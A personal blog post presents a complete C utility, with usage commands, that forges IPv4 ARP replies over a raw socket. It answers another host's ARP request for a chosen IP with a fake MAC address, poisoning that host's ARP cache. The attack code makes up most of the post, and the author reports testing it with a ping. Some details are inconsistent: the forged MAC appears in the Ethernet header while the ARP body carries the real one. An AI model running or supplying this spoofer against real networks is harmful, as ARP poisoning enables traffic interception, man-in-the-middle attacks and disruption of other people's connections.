Translate

Archives

Spoof an IPv4 ARP Response

It is quite early to poison the ARP cache of a computer by listening for the ARP request on another computer and sending back a fake response. Here is a simple utility that demonstrates how to do it using a raw socket.

/*
 *  Copyright (c) 2007 Finnbarr P. Murphy. All rights reserved.
 *
 *  Demonstrates how to spoof an IPv4 ARP response
 *
 *  Usage: spoofer device address
 *         e.g. spoofer eth0  192.168.0.119
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <libgen.h>

#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if.h>

#define ARPOP_REPLY 2
#define ARPHDR_ETHER 1
#define ETH_ALEN 6
#define IP_ALEN 4
#define IP_DOTLEN 15

// use our own IPv4 arp header structure 
struct arphdr
{
    unsigned short hw_type;               // hardware type
    unsigned short proto_type;            // protocol type
    char ha_len;                          // hardware address length
    char pa_len;                          // protocol address length
    unsigned short opcode;                // arp opcode
    unsigned char src_addr[ETH_ALEN];     // source MAC address
    unsigned char src_ip[IP_ALEN];        // source IP address
    unsigned char dst_add[ETH_ALEN];      // destination MAC address
    unsigned char dst_ip[IP_ALEN];        // destination IP address
};


char *
ipaddr_string(char *ina)
{
    static char buf[IP_DOTLEN + 1];
    unsigned char *p = ina;

    snprintf(buf, sizeof(buf), "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);

    return (buf);
}


void
usage(char *prog)
{
    printf("Usage: %s interfacename ipaddress (e.g. eth0 192.168.0.119)\n", basename(prog));
}

int
main(int argc,
     char **argv)
{
    int packetsize = sizeof(struct ether_header) + sizeof(struct arphdr);
    char packet[packetsize];
    struct ether_header *eth = (struct ether_header *) packet;
    struct arphdr *arp = (struct arphdr *)(packet + sizeof(struct ether_header));
    unsigned char arppacket[sizeof(struct arphdr) + sizeof(struct ether_header)];
    struct ether_header *spoof_eth = (struct ether_header *)arppacket;
    struct arphdr *spoof_arp = (struct arphdr *)(arppacket + sizeof(struct ether_header));
    struct sockaddr addr;
    struct ifreq iface;
    char smac[ETH_ALEN];
    int sd, n;

    if (argc < 3) {
        usage(argv[0]);
        exit(1);
    }

    // check if root
    if (getuid() != 0) {
        printf("ERROR: You must be root to use this utility\n");
        exit(1);
    }

    // open socket
    if ((sd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0)
    {
        perror(" read socket");
        exit(2);
    }

    // get device interface
    strcpy(iface.ifr_name, argv[1]);
    if ((ioctl(sd, SIOCGIFHWADDR, &iface)) < 0)
    {
        perror("ioctl");
        close(sd);
        exit(3);
    }

    // fake MAC address is just last 8 bits of real MAC incremented by 1
    iface.ifr_hwaddr.sa_data[5]++;

    memcpy(smac, &(iface.ifr_hwaddr.sa_data), ETH_ALEN);        

    printf("Fake MAC address is %02x:%02x:%02x:%02x:%02x:%02x\n",
#if DEBUG
        (unsigned char)iface.ifr_hwaddr.sa_data[0], (unsigned char)iface.ifr_hwaddr.sa_data[1],
        (unsigned char)iface.ifr_hwaddr.sa_data[2], (unsigned char)iface.ifr_hwaddr.sa_data[3],
        (unsigned char)iface.ifr_hwaddr.sa_data[4], (unsigned char)iface.ifr_hwaddr.sa_data[5]);
#else
        (unsigned char)smac[0], (unsigned char)smac[1],
        (unsigned char)smac[2], (unsigned char)smac[3],
        (unsigned char)smac[4], (unsigned char)smac[5]);
#endif

    // process packets
    while (1) {
        n = recvfrom(sd, packet, packetsize, 0, NULL, 0);

        if (n < 42) {
            perror("recvfrom");
            close(sd);
            exit(4);
        }

        // got a match - so send the fake reply
        if (ntohs(eth->ether_type) == ETHERTYPE_ARP  && !strncmp(ipaddr_string(arp->dst_ip), argv[2], IP_DOTLEN)) {

            // build ethernet header
            memcpy(spoof_eth->ether_dhost, eth->ether_shost, ETH_ALEN);         // Destination MAC
            memcpy(spoof_eth->ether_shost, smac, ETH_ALEN);                     // Source MAC
            spoof_eth->ether_type = htons(ETHERTYPE_ARP);                       // Packet type

            // build arp header
            spoof_arp->hw_type = htons(ARPHDR_ETHER);                           // Hardware address type
            spoof_arp->proto_type = htons(ETH_P_IP);                            // Protocol address type
            spoof_arp->ha_len = ETH_ALEN;                                       // Hardware address length
            spoof_arp->pa_len = IP_ALEN;                                        // Protocol address length
            spoof_arp->opcode = htons(ARPOP_REPLY);                             // ARP operation type
            memcpy(spoof_arp->src_addr, iface.ifr_hwaddr.sa_data, ETH_ALEN);    // Sender MAC
            memcpy(spoof_arp->src_ip, arp->dst_ip, IP_ALEN);                    // Source IP
            memcpy(spoof_arp->dst_add, arp->src_addr, ETH_ALEN);                // Target MAC
            memcpy(spoof_arp->dst_ip, arp->src_ip, IP_ALEN);                    // Target IP

            strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));

            printf("Sent ARP reply: %s is %02x:%02x:%02x:%02x:%02x:%02x\n",
               inet_ntoa(*(struct in_addr*)&spoof_arp->src_ip),
               (unsigned char)spoof_arp->src_addr[0], (unsigned char)spoof_arp->src_addr[1],
               (unsigned char)spoof_arp->src_addr[2], (unsigned char)spoof_arp->src_addr[3],
               (unsigned char)spoof_arp->src_addr[4], (unsigned char)spoof_arp->src_addr[5]);

           if (sendto(sd, arppacket, packetsize, 0, &addr, sizeof(addr)) < 0) {
               perror("sendto");
               close(sd);
               exit(5);
           }

           break;
       }
   }

   close(sd);

   exit(0);
}


The source code should be understandable by any reasonably competent C language developer so I will not attempt to explain it. It should compile without error on any GNU/Linux platform.

How can you use the spoofer utility?. A simple example will demonstrate its usage. Suppose I, as root, invoke the spoofer utility on a platform whose IPv4 address is 192.168.0.115 and whose network device is eth0:

# ./spoofer eth0 192.168.0.119


and from another computer execute

$ ping 192.168.0.119


The second computers ARP cache will be updated to contain the fake MAC address of 192.168.0.119.

[Update 01/12/2011] Here is a screenshot of me pinging 192.168.0.119 and receiving back the spoofed MAC address.

ARP screenshot1

Enjoy!

Comments are closed.